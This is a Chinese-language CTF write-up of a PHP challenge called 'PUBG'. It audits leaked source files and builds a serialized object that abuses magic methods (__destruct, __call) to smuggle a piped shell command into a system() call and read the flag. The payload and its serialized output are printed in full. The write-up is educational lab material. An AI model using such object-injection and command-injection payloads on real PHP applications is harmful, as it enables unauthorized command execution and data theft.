为了接着之前的博客,还是觉得要在这里写完,因为后面的博客我都放到自己的github博客上去啦~
第16题:PUBG
开局一张图
这个是点击学校的按键后得到的
(其他都是diedie的)
然后就可以看到源码泄露的情况
接着将index.php.bak点击后,下载
接着可以审计源码
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");
}
}
?>
发现我们在传入pos=school的同时要赋值给pubg一个参数(同时是序列化后的)
然后发现其中的class.php,去尝试获取一波源码,emmmm接着就成功了
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>
开始分析这个一长串的源码:
(1)有一个叫做Sheldon的类,里面有两个公有成员 $bag和 $weapon
(2)其中有五个成员函数:
function __wakeup()
function Get_air_drops( $b )
function __call( $method, $parameters )
function nothing()
function __destruct()
这个是大的一个结构的角度来分析的,接着慢慢来分析
之前index.php中需要传入一个序列化的对象且class.php中正好只有一个Sheldon的类,故可构造一个Sheldon的对象。
而且看到其中的成员函数有几个为魔法函数,接着就可以去一个个了解他们的特性。
首先__wakeup()是在其对象反序列化的时候自动调用,故在之前的index.php中,我们构造的Sheldon对象且反序列化之后,在此对象的内部将会自动调用_wakeup()函数
同时该对象的成员变量会变成:
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
接着再看_call()函数
在对象中调用了一个不可以访问的方法时,call()函数将会被调用,同时其中的method参数为后面由我们传入的不存在的方法。
在对象中调用一个不可访问方法时,__call() 会被调用。
在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
在__call函数中:
因此为了满足if的条件,需要将method赋值要注意,原因是后面有提示:
故给method赋值为://win.php+blablabla
file[0]在经过 $ file = explode(".",$method);函数后变为 //win 也就是说为 .//class//win.php(而这个文file肯定是存在的,也就绕过了if)。
.
接着看 __destruct()函数
在此函数中,如果wepon===AWM,则执行bag变量引导的函数,故给bag赋值一个不存在的函数,然后执行
此时所有的函数都被分析完成了,回过头来总结一下,就可以写一个payload脚本了(在原来的class.php中增加修改即可)
public $bag="//win.php| cat ./class/flag";
public $weapon="AWM";
这里的关键在于"|",这个管道符号之后的命令会执行。所以cat到flag.php的内容并打印出来了。
在代码的最后插入
$a = new sheldon();
print_r(serialize($a));
然后脚本跑出来的东西是:
O:7:"sheldon":2:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}//win
接着就可以尝试去跑了!
最后就拿到flag了。
这道题费了我好久的时间才弄懂魔法函数的一个过程
菜鸡还是菜鸡…
参考了:https://www.cnblogs.com/Pinging/p/8445708.html
的blog